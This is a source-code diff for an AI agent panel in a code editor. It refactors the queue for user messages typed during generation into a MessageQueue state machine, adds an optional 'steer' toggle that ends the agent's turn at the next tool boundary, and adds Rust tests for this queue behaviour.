@@ -7520,11 +7520,11 @@ async fn test_queued_message_ends_turn_at_boundary(cx: &mut TestAppContext) {
         "Turn should have ended after tool completion due to queued message"
     );
 
-    // Verify the queued message flag is still set
+    // Verify the boundary flag is still set
     thread.update(cx, |thread, _cx| {
         assert!(
-            thread.has_queued_message(),
-            "Should still have queued message flag set"
+            thread.end_turn_at_next_boundary(),
+            "Should still have the end-turn-at-boundary flag set"
         );
     });
 
@@ -7537,6 +7537,68 @@ async fn test_queued_message_ends_turn_at_boundary(cx: &mut TestAppContext) {
     });
 }
 
+#[gpui::test]
+async fn test_queued_message_does_not_end_turn_without_boundary_flag(cx: &mut TestAppContext) {
+    init_test(cx);
+    always_allow_tools(cx);
+
+    let ThreadTest { model, thread, .. } = setup(cx, TestModel::Fake).await;
+    let fake_model = model.as_fake();
+
+    thread.update(cx, |thread, _cx| {
+        thread.add_tool(EchoTool);
+    });
+
+    let mut events = thread
+        .update(cx, |thread, cx| {
+            thread.send(UserMessageId::new(), ["Use the echo tool"], cx)
+        })
+        .unwrap();
+    cx.run_until_parked();
+
+    fake_model.send_last_completion_stream_event(LanguageModelCompletionEvent::ToolUse(
+        LanguageModelToolUse {
+            id: "tool_1".into(),
+            name: "echo".into(),
+            raw_input: r#"{"text": "hello"}"#.into(),
+            input: json!({"text": "hello"}),
+            is_input_complete: true,
+            thought_signature: None,
+        },
+    ));
+    fake_model
+        .send_last_completion_stream_event(LanguageModelCompletionEvent::Stop(StopReason::ToolUse));
+
+    // Default behavior: even though a message is conceptually queued, we do NOT
+    // set the boundary flag, so the agent must keep going past the tool boundary
+    // (running to completion) rather than ending the turn early.
+    fake_model.end_last_completion_stream();
+    cx.run_until_parked();
+
+    // The agent should have issued a fresh completion request with the tool
+    // results instead of stopping — proof it continued past the boundary.
+    let continuation = fake_model.pending_completions();
+    assert_eq!(
+        continuation.len(),
+        1,
+        "Without the boundary flag, the turn should continue with another completion request"
+    );
+
+    // Let the continuation finish the turn naturally.
+    fake_model.send_last_completion_stream_text_chunk("All done");
+    fake_model
+        .send_last_completion_stream_event(LanguageModelCompletionEvent::Stop(StopReason::EndTurn));
+    fake_model.end_last_completion_stream();
+
+    let all_events = collect_events_until_stop(&mut events, cx).await;
+    let stop_reasons = stop_events(all_events);
+    assert_eq!(
+        stop_reasons,
+        vec![acp::StopReason::EndTurn],
+        "Turn should end only after the agent finishes, not at the tool boundary"
+    );
+}
+
 #[gpui::test]
 async fn test_streaming_tool_error_breaks_stream_loop_immediately(cx: &mut TestAppContext) {
     init_test(cx);
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 915ade9f1d91dc..41c24431cecc5f 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -1209,9 +1209,10 @@ pub struct Thread {
     /// Survives across multiple requests as the model performs tool calls and
     /// we run tools, report their results.
     running_turn: Option<RunningTurn>,
-    /// Flag indicating the UI has a queued message waiting to be sent.
-    /// Used to signal that the turn should end at the next message boundary.
-    has_queued_message: bool,
+    /// When set, the current turn ends at the next message boundary instead of
+    /// running to completion. The UI sets this to deliver a "steering" queued
+    /// message mid-task; by default queued messages wait for the turn to finish.
+    end_turn_at_next_boundary: bool,
     pending_message: Option<AgentMessage>,
     pub(crate) tools: BTreeMap<SharedString, Arc<dyn AnyAgentTool>>,
     request_token_usage: HashMap<UserMessageId, language_model::TokenUsage>,
@@ -1349,7 +1350,7 @@ impl Thread {
             messages: Vec::new(),
             user_store: project.read(cx).user_store(),
             running_turn: None,
-            has_queued_message: false,
+            end_turn_at_next_boundary: false,
             pending_message: None,
             tools: BTreeMap::default(),
             request_token_usage: HashMap::default(),
@@ -1735,7 +1736,7 @@ impl Thread {
             messages: db_thread.messages,
             user_store: project.read(cx).user_store(),
             running_turn: None,
-            has_queued_message: false,
+            end_turn_at_next_boundary: false,
             pending_message: None,
             tools: BTreeMap::default(),
             request_token_usage: db_thread.request_token_usage.clone(),
@@ -2246,12 +2247,12 @@ impl Thread {
         })
     }
 
-    pub fn set_has_queued_message(&mut self, has_queued: bool) {
-        self.has_queued_message = has_queued;
+    pub fn set_end_turn_at_next_boundary(&mut self, end_at_boundary: bool) {
+        self.end_turn_at_next_boundary = end_at_boundary;
     }
 
-    pub fn has_queued_message(&self) -> bool {
-        self.has_queued_message
+    pub fn end_turn_at_next_boundary(&self) -> bool {
+        self.end_turn_at_next_boundary
     }
 
     fn accumulate_token_usage(&mut self, update: language_model::TokenUsage) {
@@ -2981,9 +2982,10 @@ impl Thread {
             } else if end_turn {
                 return Ok(());
             } else {
-                let has_queued = this.update(cx, |this, _| this.has_queued_message())?;
-                if has_queued {
-                    log::debug!("Queued message found, ending turn at message boundary");
+                let end_at_boundary =
+                    this.update(cx, |this, _| this.end_turn_at_next_boundary())?;
+                if end_at_boundary {
+                    log::debug!("Steering message queued, ending turn at message boundary");
                     return Ok(());
                 }
                 intent = CompletionIntent::ToolResults;
diff --git a/crates/agent_ui/src/agent_ui.rs b/crates/agent_ui/src/agent_ui.rs
index 76843765317e15..4248de814e9901 100644
--- a/crates/agent_ui/src/agent_ui.rs
+++ b/crates/agent_ui/src/agent_ui.rs
@@ -260,6 +260,9 @@ actions!(
         RemoveFirstQueuedMessage,
         /// Edits the first message in the queue (the next one to be sent).
         EditFirstQueuedMessage,
+        /// Toggles steering for the first queued message: when on, it interrupts
+        /// the agent at its next step instead of waiting for it to finish.
+        ToggleSteerFirstQueuedMessage,
         /// Clears all messages from the queue.
         ClearMessageQueue,
         /// Opens the permission granularity dropdown for the current tool call.
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index 3461ed83a66bd3..382ce7362336f2 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -32,8 +32,8 @@ use gpui::{
     Action, Animation, AnimationExt, AnyView, App, ClickEvent, ClipboardItem, CursorStyle,
     ElementId, Empty, Entity, EventEmitter, FocusHandle, Focusable, Hsla, ListOffset, ListState,
     ObjectFit, PlatformDisplay, ScrollHandle, SharedString, StyledText, Subscription, Task,
-    TaskExt, TextRun, TextStyle, WeakEntity, Window, WindowHandle, div, ease_in_out, img,
-    linear_color_stop, linear_gradient, list, pulsating_between,
+    TextRun, TextStyle, WeakEntity, Window, WindowHandle, div, ease_in_out, img, linear_color_stop,
+    linear_gradient, list, pulsating_between,
 };
 use language::{Buffer, Language, Rope};
 use language_model::{LanguageModelCompletionError, LanguageModelRegistry};
@@ -98,7 +98,8 @@ use crate::{
     ScrollOutputLineDown, ScrollOutputLineUp, ScrollOutputPageDown, ScrollOutputPageUp,
     ScrollOutputToBottom, ScrollOutputToNextMessage, ScrollOutputToPreviousMessage,
     ScrollOutputToTop, SendImmediately, SendNextQueuedMessage, ToggleFastMode,
-    ToggleProfileSelector, ToggleThinkingEffortMenu, ToggleThinkingMode, UndoLastReject,
+    ToggleProfileSelector, ToggleSteerFirstQueuedMessage, ToggleThinkingEffortMenu,
+    ToggleThinkingMode, UndoLastReject,
 };
 
 const STOPWATCH_THRESHOLD: Duration = Duration::from_secs(30);
@@ -106,15 +107,12 @@ const TOKEN_THRESHOLD: u64 = 250;
 
 pub(crate) const DRAFT_PROMPT_PERSIST_DEBOUNCE: Duration = Duration::from_millis(250);
 
+mod message_queue;
 mod thread_search_bar;
 mod thread_view;
+pub use message_queue::*;
 pub use thread_view::*;
 
-pub struct QueuedMessage {
-    pub content: Vec<acp::ContentBlock>,
-    pub tracked_buffers: Vec<Entity<Buffer>>,
-}
-
 #[derive(Copy, Clone, Debug, PartialEq, Eq)]
 enum ThreadFeedback {
     Positive,
@@ -1473,41 +1471,6 @@ impl ConversationView {
         matches!(self.server_state, ServerState::Loading { .. })
     }
 
-    fn send_queued_message_at_index(
-        &mut self,
-        index: usize,
-        is_send_now: bool,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if let Some(active) = self.root_thread_view() {
-            active.update(cx, |active, cx| {
-                active.send_queued_message_at_index(index, is_send_now, window, cx);
-            });
-        }
-    }
-
-    fn move_queued_message_to_main_editor(
-        &mut self,
-        index: usize,
-        attempt: Option<InputAttempt>,
-        cursor_offset: Option<usize>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if let Some(active) = self.root_thread_view() {
-            active.update(cx, |active, cx| {
-                active.move_queued_message_to_main_editor(
-                    index,
-                    attempt,
-                    cursor_offset,
-                    window,
-                    cx,
-                );
-            });
-        }
-    }
-
     fn handle_thread_event(
         &mut self,
         thread: &Entity<AcpThread>,
@@ -1611,34 +1574,31 @@ impl ConversationView {
                     return;
                 }
 
-                let should_send_queued = if let Some(active) = self.root_thread_view() {
+                let sent_queued_message = if let Some(active) = self.root_thread_view() {
                     active.update(cx, |active, cx| {
-                        if active.skip_queue_processing_count > 0 {
-                            active.skip_queue_processing_count -= 1;
-                            false
-                        } else if active.user_interrupted_generation {
-                            // Manual interruption: don't auto-process queue.
-                            // Reset the flag so future completions can process normally.
-                            active.user_interrupted_generation = false;
-                            false
+                        // Don't auto-send while the user is editing the next message.
+                        let is_first_editor_focused = active
+                            .message_queue
+                            .first()
+                            .is_some_and(|entry| entry.editor.focus_handle(cx).is_focused(window));
+                        if let Some(entry) = active
+                            .message_queue
+                            .on_generation_stopped(is_first_editor_focused)
+                        {
+                            active.dispatch_queued_entry(entry, window, cx);
+                            true
                         } else {
-                            let has_queued = !active.local_queued_messages.is_empty();
-                            // Don't auto-send if the first message editor is currently focused
-                            let is_first_editor_focused = active
-                                .queued_message_editors
-                                .first()
-                                .is_some_and(|editor| editor.focus_handle(cx).is_focused(window));
-                            has_queued && !is_first_editor_focused
+                            false
                         }
                     })
                 } else {
                     false
                 };
 
-                // Skip notifying when a queued message is about to be auto-sent: the agent
+                // Skip notifying when a queued message was just auto-sent: the agent
                 // is not actually idle and a notification here would fire just before the
                 // next turn starts.
-                if !should_send_queued {
+                if !sent_queued_message {
                     let used_tools = thread.read(cx).used_tools_since_last_user_message();
                     self.notify_with_sound(
                         if used_tools {
@@ -1650,8 +1610,6 @@ impl ConversationView {
                         window,
                         cx,
                     );
-                } else {
-                    self.send_queued_message_at_index(0, false, window, cx);
                 }
             }
             AcpThreadEvent::Refusal => {
@@ -2407,185 +2365,6 @@ impl ConversationView {
             .thread(self.root_session_id.as_ref()?, cx)
     }
 
-    fn queued_messages_len(&self, cx: &App) -> usize {
-        self.root_thread_view()
-            .map(|thread| thread.read(cx).local_queued_messages.len())
-            .unwrap_or_default()
-    }
-
-    fn update_queued_message(
-        &mut self,
-        index: usize,
-        content: Vec<acp::ContentBlock>,
-        tracked_buffers: Vec<Entity<Buffer>>,
-        cx: &mut Context<Self>,
-    ) -> bool {
-        match self.root_thread_view() {
-            Some(thread) => thread.update(cx, |thread, _cx| {
-                if index < thread.local_queued_messages.len() {
-                    thread.local_queued_messages[index] = QueuedMessage {
-                        content,
-                        tracked_buffers,
-                    };
-                    true
-                } else {
-                    false
-                }
-            }),
-            None => false,
-        }
-    }
-
-    fn queued_message_contents(&self, cx: &App) -> Vec<Vec<acp::ContentBlock>> {
-        match self.root_thread_view() {
-            None => Vec::new(),
-            Some(thread) => thread
-                .read(cx)
-                .local_queued_messages
-                .iter()
-                .map(|q| q.content.clone())
-                .collect(),
-        }
-    }
-
-    fn save_queued_message_at_index(&mut self, index: usize, cx: &mut Context<Self>) {
-        let editor = match self.root_thread_view() {
-            Some(thread) => thread.read(cx).queued_message_editors.get(index).cloned(),
-            None => None,
-        };
-        let Some(editor) = editor else {
-            return;
-        };
-
-        let contents_task = editor.update(cx, |editor, cx| editor.contents(false, cx));
-
-        cx.spawn(async move |this, cx| {
-            let Ok((content, tracked_buffers)) = contents_task.await else {
-                return Ok::<(), anyhow::Error>(());
-            };
-
-            this.update(cx, |this, cx| {
-                this.update_queued_message(index, content, tracked_buffers, cx);
-                cx.notify();
-            })?;
-
-            Ok(())
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn sync_queued_message_editors(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        let needed_count = self.queued_messages_len(cx);
-        let queued_messages = self.queued_message_contents(cx);
-
-        let agent_name = self.agent.agent_id();
-        let workspace = self.workspace.clone();
-        let project = self.project.downgrade();
-        let Some(connected) = self.as_connected() else {
-            return;
-        };
-        let Some(thread) = connected.active_view() else {
-            return;
-        };
-        let session_capabilities = thread.read(cx).session_capabilities.clone();
-
-        let current_count = thread.read(cx).queued_message_editors.len();
-        let last_synced = thread.read(cx).last_synced_queue_length;
-
-        if current_count == needed_count && needed_count == last_synced {
-            return;
-        }
-
-        if current_count > needed_count {
-            thread.update(cx, |thread, _cx| {
-                thread.queued_message_editors.truncate(needed_count);
-                thread
-                    .queued_message_editor_subscriptions
-                    .truncate(needed_count);
-            });
-
-            let editors = thread.read(cx).queued_message_editors.clone();
-            for (index, editor) in editors.into_iter().enumerate() {
-                if let Some(content) = queued_messages.get(index) {
-                    editor.update(cx, |editor, cx| {
-                        editor.set_read_only(true, cx);
-                        editor.set_message(content.clone(), window, cx);
-                    });
-                }
-            }
-        }
-
-        while thread.read(cx).queued_message_editors.len() < needed_count {
-            let index = thread.read(cx).queued_message_editors.len();
-            let content = queued_messages.get(index).cloned().unwrap_or_default();
-
-            let editor = cx.new(|cx| {
-                let mut editor = MessageEditor::new(
-                    workspace.clone(),
-                    project.clone(),
-                    None,
-                    session_capabilities.clone(),
-                    agent_name.clone(),
-                    "",
-                    EditorMode::AutoHeight {
-                        min_lines: 1,
-                        max_lines: Some(10),
-                    },
-                    window,
-                    cx,
-                );
-                editor.set_read_only(true, cx);
-                editor.set_message(content, window, cx);
-                editor
-            });
-
-            let subscription = cx.subscribe_in(
-                &editor,
-                window,
-                move |this, _editor, event, window, cx| match event {
-                    MessageEditorEvent::InputAttempted {
-                        attempt,
-                        cursor_offset,
-                    } => {
-                        this.move_queued_message_to_main_editor(
-                            index,
-                            Some(attempt.clone()),
-                            Some(*cursor_offset),
-                            window,
-                            cx,
-                        );
-                    }
-                    MessageEditorEvent::LostFocus => {
-                        this.save_queued_message_at_index(index, cx);
-                    }
-                    MessageEditorEvent::Cancel => {
-                        window.focus(&this.focus_handle(cx), cx);
-                    }
-                    MessageEditorEvent::Send => {
-                        window.focus(&this.focus_handle(cx), cx);
-                    }
-                    MessageEditorEvent::SendImmediately => {
-                        this.send_queued_message_at_index(index, true, window, cx);
-                    }
-                    _ => {}
-                },
-            );
-
-            thread.update(cx, |thread, _cx| {
-                thread.queued_message_editors.push(editor);
-                thread
-                    .queued_message_editor_subscriptions
-                    .push(subscription);
-            });
-        }
-
-        if let Some(active) = self.root_thread_view() {
-            active.update(cx, |active, _cx| {
-                active.last_synced_queue_length = needed_count;
-            });
-        }
-    }
-
     fn render_markdown(
         &self,
         markdown: Entity<Markdown>,
@@ -3140,8 +2919,6 @@ impl ConversationView {
 
 impl Render for ConversationView {
     fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        self.sync_queued_message_editors(window, cx);
-
         v_flex()
             .track_focus(&self.focus_handle)
             .size_full()
@@ -3659,12 +3436,13 @@ pub(crate) mod tests {
                 .clone()
         });
 
-        active_thread(&conversation_view, cx).update_in(cx, |thread, _window, cx| {
+        active_thread(&conversation_view, cx).update_in(cx, |thread, window, cx| {
             thread.add_to_queue(
                 vec![acp::ContentBlock::Text(acp::TextContent::new(
                     "queued".to_string(),
                 ))],
                 vec![],
+                window,
                 cx,
             );
         });
@@ -3695,6 +3473,116 @@ pub(crate) mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_queued_message_steer_defaults_off_and_toggles(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let (conversation_view, cx) =
+            setup_conversation_view(StubAgentServer::default_response(), cx).await;
+        add_to_workspace(conversation_view.clone(), cx);
+
+        let id = active_thread(&conversation_view, cx).update_in(cx, |thread, window, cx| {
+            thread.add_to_queue(
+                vec![acp::ContentBlock::Text(acp::TextContent::new(
+                    "queued".to_string(),
+                ))],
+                vec![],
+                window,
+                cx,
+            );
+            thread.message_queue.first_id().unwrap()
+        });
+        cx.run_until_parked();
+
+        // Default: steering is off, so the message waits for end-of-generation
+        // rather than interrupting the agent at the next boundary.
+        active_thread(&conversation_view, cx).read_with(cx, |thread, _cx| {
+            assert!(
+                !thread.message_queue.front_wants_steer(),
+                "steering should default off"
+            );
+        });
+
+        active_thread(&conversation_view, cx).update(cx, |thread, _cx| {
+            thread.message_queue.toggle_steer(id);
+        });
+        active_thread(&conversation_view, cx).read_with(cx, |thread, _cx| {
+            assert!(
+                thread.message_queue.front_wants_steer(),
+                "steering should be on after toggling"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_queue_resumes_after_stop_and_new_message(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let connection = StubAgentConnection::new();
+        let (conversation_view, cx) =
+            setup_conversation_view(StubAgentServer::new(connection.clone()), cx).await;
+        add_to_workspace(conversation_view.clone(), cx);
+
+        let message_editor = message_editor(&conversation_view, cx);
+        message_editor.update_in(cx, |editor, window, cx| {
+            editor.set_text("first", window, cx);
+        });
+        active_thread(&conversation_view, cx)
+            .update_in(cx, |view, window, cx| view.send(window, cx));
+        cx.run_until_parked();
+
+        // Queue a follow-up while the agent is generating.
+        active_thread(&conversation_view, cx).update_in(cx, |thread, window, cx| {
+            thread.add_to_queue(
+                vec![acp::ContentBlock::Text(acp::TextContent::new(
+                    "queued".to_string(),
+                ))],
+                vec![],
+                window,
+                cx,
+            );
+        });
+
+        // User stops generation: the queued message must NOT be sent.
+        active_thread(&conversation_view, cx)
+            .update_in(cx, |thread, _window, cx| thread.cancel_generation(cx));
+        cx.run_until_parked();
+
+        let queue_len = active_thread(&conversation_view, cx)
+            .read_with(cx, |thread, _cx| thread.message_queue.len());
+        assert_eq!(queue_len, 1, "stopping must not send the queued message");
+
+        // User sends a new message, which should resume queue auto-processing.
+        message_editor.update_in(cx, |editor, window, cx| {
+            editor.set_text("second", window, cx);
+        });
+        active_thread(&conversation_view, cx)
+            .update_in(cx, |view, window, cx| view.send(window, cx));
+        cx.run_until_parked();
+
+        let session_id = conversation_view.read_with(cx, |view, cx| {
+            view.active_thread()
+                .unwrap()
+                .read(cx)
+                .thread
+                .read(cx)
+                .session_id()
+                .clone()
+        });
+
+        // When this generation completes, the queued message should be picked
+        // up automatically (regression test for the "frozen queue" bug).
+        connection.end_turn(session_id, acp::StopReason::EndTurn);
+        cx.run_until_parked();
+
+        let queue_len = active_thread(&conversation_view, cx)
+            .read_with(cx, |thread, _cx| thread.message_queue.len());
+        assert_eq!(
+            queue_len, 0,
+            "queued message should be auto-sent after the user re-engages"
+        );
+    }
+
     #[gpui::test]
     async fn test_notification_for_error(cx: &mut TestAppContext) {
         init_test(cx);
@@ -9744,19 +9632,21 @@ pub(crate) mod tests {
                     "queued message".to_string(),
                 ))],
                 vec![],
+                window,
                 cx,
             );
             // Main editor must be empty for this path — it is by default, but
             // assert to make the precondition explicit.
             assert!(thread.message_editor.read(cx).is_empty(cx));
-            thread.move_queued_message_to_main_editor(0, None, None, window, cx);
+            let id = thread.message_queue.first_id().unwrap();
+            thread.move_queued_message_to_main_editor(id, None, None, window, cx);
         });
 
         cx.run_until_parked();
 
         // Queue should now be empty.
         let queue_len = active_thread(&conversation_view, cx)
-            .read_with(cx, |thread, _cx| thread.local_queued_messages.len());
+            .read_with(cx, |thread, _cx| thread.message_queue.len());
         assert_eq!(queue_len, 0, "Queue should be empty after move");
 
         // Main editor should contain the queued message text.
@@ -9792,16 +9682,18 @@ pub(crate) mod tests {
                     "queued message".to_string(),
                 ))],
                 vec![],
+                window,
                 cx,
             );
-            thread.move_queued_message_to_main_editor(0, None, None, window, cx);
+            let id = thread.message_queue.first_id().unwrap();
+            thread.move_queued_message_to_main_editor(id, None, None, window, cx);
         });
 
         cx.run_until_parked();
 
         // Queue should now be empty.
         let queue_len = active_thread(&conversation_view, cx)
-            .read_with(cx, |thread, _cx| thread.local_queued_messages.len());
+            .read_with(cx, |thread, _cx| thread.message_queue.len());
         assert_eq!(queue_len, 0, "Queue should be empty after move");
 
         // Main editor should contain existing content + separator + queued content.
@@ -9820,12 +9712,13 @@ pub(crate) mod tests {
             setup_conversation_view(StubAgentServer::default_response(), cx).await;
         add_to_workspace(conversation_view.clone(), cx);
 
-        active_thread(&conversation_view, cx).update(cx, |thread, cx| {
+        active_thread(&conversation_view, cx).update_in(cx, |thread, window, cx| {
             thread.add_to_queue(
                 vec![acp::ContentBlock::Text(acp::TextContent::new(
                     "first queued".to_string(),
                 ))],
                 vec![],
+                window,
                 cx,
             );
             thread.add_to_queue(
@@ -9833,6 +9726,7 @@ pub(crate) mod tests {
                     "second queued".to_string(),
                 ))],
                 vec![],
+                window,
                 cx,
             );
         });
@@ -9847,7 +9741,7 @@ pub(crate) mod tests {
         cx.run_until_parked();
 
         let queue_len = active_thread(&conversation_view, cx)
-            .read_with(cx, |thread, _cx| thread.local_queued_messages.len());
+            .read_with(cx, |thread, _cx| thread.message_queue.len());
         assert_eq!(
             queue_len, 1,
             "Up arrow should pull the last queued message out of the queue"
@@ -9865,7 +9759,7 @@ pub(crate) mod tests {
         cx.run_until_parked();
 
         let queue_len = active_thread(&conversation_view, cx)
-            .read_with(cx, |thread, _cx| thread.local_queued_messages.len());
+            .read_with(cx, |thread, _cx| thread.message_queue.len());
         assert_eq!(queue_len, 1, "Queue should be untouched");
         let text = editor.update(cx, |editor, cx| editor.text(cx));
         assert_eq!(text, "second queued");
@@ -9879,7 +9773,7 @@ pub(crate) mod tests {
             paste_into_queued_message(cx, ClipboardItem::new_string("PASTED".to_string())).await;
 
         let queue_len = active_thread(&conversation_view, cx)
-            .read_with(cx, |thread, _cx| thread.local_queued_messages.len());
+            .read_with(cx, |thread, _cx| thread.message_queue.len());
         assert_eq!(queue_len, 0);
 
         let text = message_editor(&conversation_view, cx).update(cx, |editor, cx| editor.text(cx));
@@ -9909,7 +9803,7 @@ pub(crate) mod tests {
         .await;
 
         let queue_len = active_thread(&conversation_view, cx)
-            .read_with(cx, |thread, _cx| thread.local_queued_messages.len());
+            .read_with(cx, |thread, _cx| thread.message_queue.len());
         assert_eq!(queue_len, 0);
 
         let text = message_editor(&conversation_view, cx).update(cx, |editor, cx| editor.text(cx));
@@ -9933,7 +9827,7 @@ pub(crate) mod tests {
             setup_conversation_view(StubAgentServer::default_response(), cx).await;
         add_to_workspace(conversation_view.clone(), cx);
 
-        active_thread(&conversation_view, cx).update_in(cx, |thread, _window, cx| {
+        active_thread(&conversation_view, cx).update_in(cx, |thread, window, cx| {
             thread
                 .session_capabilities
                 .write()
@@ -9943,6 +9837,7 @@ pub(crate) mod tests {
                     "queued message".to_string(),
                 ))],
                 vec![],
+                window,
                 cx,
             );
         });
@@ -9951,10 +9846,10 @@ pub(crate) mod tests {
 
         let queued_editor = active_thread(&conversation_view, cx).read_with(cx, |thread, _cx| {
             thread
-                .queued_message_editors
+                .message_queue
                 .first()
-                .cloned()
-                .expect("queued message editor not synced")
+                .map(|entry| entry.editor.clone())
+                .expect("queued message editor not created")
         });
 
         cx.write_to_clipboard(clipboard);
diff --git a/crates/agent_ui/src/conversation_view/message_queue.rs b/crates/agent_ui/src/conversation_view/message_queue.rs
new file mode 100644
index 00000000000000..31f1a000235fe3
--- /dev/null
+++ b/crates/agent_ui/src/conversation_view/message_queue.rs
@@ -0,0 +1,191 @@
+use std::collections::VecDeque;
+
+use super::*;
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
+pub struct QueueEntryId(usize);
+
+pub struct QueueEntry {
+    pub id: QueueEntryId,
+    pub content: Vec<acp::ContentBlock>,
+    pub tracked_buffers: Vec<Entity<Buffer>>,
+    /// When true, this message interrupts the agent at the next turn boundary
+    /// instead of waiting for generation to fully complete. Only the front
+    /// entry's value matters, since messages are delivered in FIFO order.
+    pub steer: bool,
+    pub editor: Entity<MessageEditor>,
+    pub _subscription: Subscription,
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+enum ProcessingState {
+    AutoProcess,
+    Paused,
+    // Sending a message out of turn cancelled the current generation; we must
+    // absorb the Stopped event from that cancellation before resuming
+    // auto-processing, otherwise the queue would double-send.
+    AbsorbingCancel,
+}
+
+/// Holds follow-up messages typed while the agent is generating, along with
+/// the state machine that decides when they're auto-sent.
+pub struct MessageQueue {
+    entries: VecDeque<QueueEntry>,
+    processing_state: ProcessingState,
+    can_fast_track: bool,
+    next_id: usize,
+}
+
+impl Default for MessageQueue {
+    fn default() -> Self {
+        Self {
+            entries: VecDeque::new(),
+            processing_state: ProcessingState::AutoProcess,
+            can_fast_track: false,
+            next_id: 0,
+        }
+    }
+}
+
+impl MessageQueue {
+    pub fn is_empty(&self) -> bool {
+        self.entries.is_empty()
+    }
+
+    pub fn len(&self) -> usize {
+        self.entries.len()
+    }
+
+    pub fn first(&self) -> Option<&QueueEntry> {
+        self.entries.front()
+    }
+
+    pub fn first_id(&self) -> Option<QueueEntryId> {
+        self.entries.front().map(|entry| entry.id)
+    }
+
+    pub fn last_id(&self) -> Option<QueueEntryId> {
+        self.entries.back().map(|entry| entry.id)
+    }
+
+    /// Whether the next message should interrupt the agent at the next turn
+    /// boundary. Drives the native thread's boundary flag.
+    pub fn front_wants_steer(&self) -> bool {
+        self.entries.front().is_some_and(|entry| entry.steer)
+    }
+
+    pub fn toggle_steer(&mut self, id: QueueEntryId) {
+        if let Some(entry) = self.entries.iter_mut().find(|entry| entry.id == id) {
+            entry.steer = !entry.steer;
+        }
+    }
+
+    pub fn iter(&self) -> impl Iterator<Item = &QueueEntry> {
+        self.entries.iter()
+    }
+
+    pub fn can_fast_track(&self) -> bool {
+        self.can_fast_track && !self.entries.is_empty()
+    }
+
+    pub fn entry_by_id(&self, id: QueueEntryId) -> Option<&QueueEntry> {
+        self.entries.iter().find(|entry| entry.id == id)
+    }
+
+    pub fn entry_by_id_mut(&mut self, id: QueueEntryId) -> Option<&mut QueueEntry> {
+        self.entries.iter_mut().find(|entry| entry.id == id)
+    }
+
+    /// Allocates a stable ID for a new entry. This is separate from `enqueue`
+    /// because the editor event subscription must capture the ID before the
+    /// `QueueEntry` (which owns that subscription) can be constructed.
+    pub fn next_id(&mut self) -> QueueEntryId {
+        let id = QueueEntryId(self.next_id);
+        self.next_id += 1;
+        id
+    }
+
+    /// Queuing a message is active engagement, so it also resumes
+    /// auto-processing if the queue was paused.
+    pub fn enqueue(&mut self, entry: QueueEntry) {
+        self.entries.push_back(entry);
+        self.processing_state = ProcessingState::AutoProcess;
+        self.can_fast_track = true;
+    }
+
+    pub fn remove(&mut self, id: QueueEntryId) -> Option<QueueEntry> {
+        let index = self.entries.iter().position(|entry| entry.id == id)?;
+        self.entries.remove(index)
+    }
+
+    pub fn clear(&mut self) {
+        self.entries.clear();
+        self.can_fast_track = false;
+    }
+
+    /// Pops the front entry if a fast-track send is allowed (the user just
+    /// queued a message and pressed Enter on an empty main editor).
+    ///
+    /// This works even when paused — pressing Enter is an explicit user
+    /// action, distinct from auto-processing. If a generation is in flight,
+    /// the dispatch will cancel it, so we must absorb that cancellation's
+    /// Stopped event to avoid double-sending the next entry.
+    pub fn try_fast_track(&mut self, is_generating: bool) -> Option<QueueEntry> {
+        if !self.can_fast_track {
+            return None;
+        }
+        self.can_fast_track = false;
+        let entry = self.entries.pop_front()?;
+        self.processing_state = if is_generating {
+            ProcessingState::AbsorbingCancel
+        } else {
+            ProcessingState::AutoProcess
+        };
+        Some(entry)
+    }
+
+    /// Handles a generation Stopped event, returning the entry to auto-send,
+    /// if any.
+    pub fn on_generation_stopped(&mut self, is_first_editor_focused: bool) -> Option<QueueEntry> {
+        match self.processing_state {
+            ProcessingState::AbsorbingCancel => {
+                // This Stopped event came from a cancellation we initiated
+                // ourselves (e.g. "Send Now"); swallow it and resume.
+                self.processing_state = ProcessingState::AutoProcess;
+                None
+            }
+            ProcessingState::Paused => None,
+            ProcessingState::AutoProcess => {
+                // Don't auto-send while the user is editing the next message.
+                if is_first_editor_focused {
+                    None
+                } else {
+                    self.entries.pop_front()
+                }
+            }
+        }
+    }
+
+    /// Removes an entry for an explicit "Send Now". If a generation is in
+    /// flight, the dispatch will cancel it, so we must absorb that
+    /// cancellation's Stopped event.
+    pub fn send_now(&mut self, id: QueueEntryId, is_generating: bool) -> Option<QueueEntry> {
+        let entry = self.remove(id)?;
+        if is_generating {
+            self.processing_state = ProcessingState::AbsorbingCancel;
+        }
+        Some(entry)
+    }
+
+    /// Called when the user stops generation; queued messages stay put until
+    /// the user re-engages.
+    pub fn pause(&mut self) {
+        self.processing_state = ProcessingState::Paused;
+    }
+
+    /// Called when the user sends a new message, re-enabling auto-processing.
+    /// This is what un-freezes the queue after a manual stop.
+    pub fn resume(&mut self) {
+        self.processing_state = ProcessingState::AutoProcess;
+    }
+}
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 553519fb34c80a..94a0e389a6f685 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -591,10 +591,7 @@ pub struct ThreadView {
     pub editor_expanded: bool,
     pub should_be_following: bool,
     pub editing_message: Option<usize>,
-    pub local_queued_messages: Vec<QueuedMessage>,
-    pub queued_message_editors: Vec<Entity<MessageEditor>>,
-    pub queued_message_editor_subscriptions: Vec<Subscription>,
-    pub last_synced_queue_length: usize,
+    pub message_queue: MessageQueue,
     pub turn_fields: TurnFields,
     pub discarded_partial_edits: HashSet<acp::ToolCallId>,
     pub is_loading_contents: bool,
